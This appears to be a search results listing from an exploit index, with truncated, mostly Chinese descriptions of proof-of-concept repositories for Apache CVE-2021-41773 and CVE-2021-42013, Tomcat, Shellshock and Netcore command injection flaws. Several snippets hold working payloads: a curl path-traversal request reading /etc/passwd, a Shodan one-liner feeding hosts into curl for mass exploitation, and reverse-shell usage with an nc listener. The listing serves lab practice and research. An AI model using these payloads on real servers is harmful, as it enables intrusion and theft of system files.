1693 matches found
cve-2021-41773
Apache 2.4.49 - 路径遍历或远程代码执行 cve-2021-41773.py 是一个 Python 脚本，用于检测 Apache 2.4.49 中的路径遍历或远程代码执行漏洞。提供了易受攻击的 Docker 实例，让您亲身体验 CVE-2021-41773 如果 CGI-BIN 已启用，则可以执行远程代码执行（而非路径遍历），因此 在 httpd.conf 的 Alias 部分中添加了 "icons" 目录，用于检测路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...
CVE-2019-0232
CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上的Apache Tomcat远程执行代码 cgi-bin 使用： Usage: python CVE-2019-0232.py url cmd 测试环境： jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip 漏洞搭建：修改conf目录配置文件...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...
CVE-2021-41773
CVE-2021-41773 我开发了 CVE-2021-41773 的 POC，包含 RCE + cgi-bin 路径遍历 注意： 已在 APACHE2 2.4.49 上测试 您可以直接从 Docker 拉取存在漏洞的 Apache2 2.4.49 $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 路径遍历 RCE 要求 gnome-terminal...
CVE-2021-41773
CVE-2021-41773 易受攻击的服务 安装 几种方式： 1. Docker 容器 docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t apache2449cve-2021-41773 . docker run -d -p...
apache-cve-2021-41773-lab
Apache 2.4.49 路径遍历实验室 — CVE-2021-41773 克隆 git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh 用法 启动存在漏洞的服务器： ./apachelab.sh choose option 1 手动利用： curl --path-as-is http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. Enable CGI-BIN 2. Add "icons" directory in...
cve-2021-41773
CVE-2021-41773 CVE-2021-41773: Apache HTTP服务器中的路径遍历零日漏洞被利用 Apache HTTP服务器CVE-2021-41773在野外被利用 CVE-2021-42013: Apache HTTP服务器2.4.49和2.4.50中的路径遍历与远程代码执行（CVE-2021-41773的不完整修复） Shodan 一行命令 shodan search Apache Server 2.4.49 | awk 'print $1":"$2' | while read host do ; do curl --silent --path-as-is...
CVE-2021-41773
CVE-2021-41773 漏洞利用 PoC 与 Docker 设置。 进入包含 Apache 配置和 Dockerfile 的目录（仓库中已共享）。 构建镜像： docker build -t cve-2021-41773:1.0 . 运行 Docker 镜像： docker run --rm -d -p 4444:80 cve-2021-41773:1.0 （注意：你也可以使用镜像 ID 代替镜像名称，通过命令 'docker images' 查找镜像详情） 测试服务： curl localhost:4444 利用服务： curl...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了一个存在漏洞的 Docker 实例，供您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，我们可以执行远程代码执行，但无法进行路径遍历，因此为了检测路径遍历漏洞，已在 httpd.conf 的 Alias 部分下添加了“icons”目录。 httpd.conf 中的易受攻击配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加“icons”目录 3...
cve-2021-42013.get
Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，用于帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，以便您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，那么我们可以执行远程代码执行，但不能执行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的漏洞配置 1. Enable CGI-BIN 2. Add "icons" directory i...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。文中提供了易受攻击的 Docker 实例，供您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历；因此，在 httpd.conf 的 Alias 部分中添加了“icons”目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. Enable CGI-BIN 2. Add "icons" directory in Alia...
EUVD-2026-88606
A vulnerability was found in Netcore NAP930 0.1.241010.141410. This affects the function eval of the file /www/cgi-bin/networktools of the component Network Tools CGI. The manipulation of the argument sid results in os command injection. The attack may be performed from remote. The exploit has be...
cve-2021-41773-and-cve-2021-42013
cve-2021-41773 and cve-2021-42013 cve-2021-41773 和 cve-2021-42013 批量验证python脚本 运行环境：python3 用法：python3 poc.py url.txt url.txt放待检测的url，存在漏洞的url会被写入success.txt 验证内容很简单，get请求发送cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd就行，但是我用requests发包发现不行，抓包发现%2e会被自动解码成.，于是采用urllib发包，发现没问题，本地测试...
CVE-2014-6271
CVE-2014-6271 python2.7 在你的机器上开始监听。 nc -l -p 4444 按照以下规则运行python脚本： python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 尽情享用...
apache_2.4.50
Apache HTTP Server 2.4.50 本地文件包含与远程代码执行 一个针对 CVE-2021-42013 - Apache HTTP Server 2.4.50 本地文件包含与远程代码执行的 python3 脚本。远程代码执行需要启用 cgi-bin 快速开始 运行程序 本地文件包含（LFI） python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd 远程代码执行（RCE） python3 apache2.4.50.py -t http://apache.hack/ -rce whoami...
CVE-2026-101001
A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This impacts the function eval of the file /www/cgi-bin/networktools of the component Web Management Interface. Such manipulation of the argument QUERYSTRING leads to os command injection. It is possible to launch the attack...
exploitApache
exploitApache 用于 CVE-2021-41773:路径遍历 cgi-bin...
cgi-bin-shellshock
使用方法 克隆仓库（或直接复制粘贴你偏好的脚本） sudo git clone https://github.com/Gurguii/shellshock.sh 运行脚本 Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。...